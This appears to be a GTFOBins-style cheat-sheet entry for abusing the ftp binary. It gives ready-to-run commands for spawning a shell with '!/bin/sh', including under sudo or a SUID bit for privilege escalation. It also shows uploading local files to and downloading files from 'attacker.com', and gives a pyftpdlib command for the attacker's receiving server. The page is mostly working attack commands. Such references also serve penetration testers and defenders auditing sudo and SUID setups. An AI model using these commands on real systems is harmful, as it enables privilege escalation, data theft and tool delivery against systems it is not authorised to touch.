Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    ftp
    !/bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ftp
    !/bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    ftp
    !/bin/sh

Upload

This executable can upload local data.
  1. CommentInstead of -a, credentials can be supplied via the user:password@host connection string.
    This function can be performed by any unprivileged user.
    ftp -a attacker.com
    put /path/to/input-file output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ftp -a attacker.com
    put /path/to/input-file output-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    ftp -a attacker.com
    put /path/to/input-file output-file
    ReceiverAn FTP server can be used on the attacker box to receive the data.
    python -m pyftpdlib -w -p 21

Download

This executable can download remote data.
  1. CommentInstead of -a, credentials can be supplied via the user:password@host connection string.
    This function can be performed by any unprivileged user.
    ftp -a attacker.com
    get /path/to/input-file output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ftp -a attacker.com
    get /path/to/input-file output-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    ftp -a attacker.com
    get /path/to/input-file output-file
    SenderAn FTP server can be used on the attacker box to send the data.
    python -m pyftpdlib -w -p 21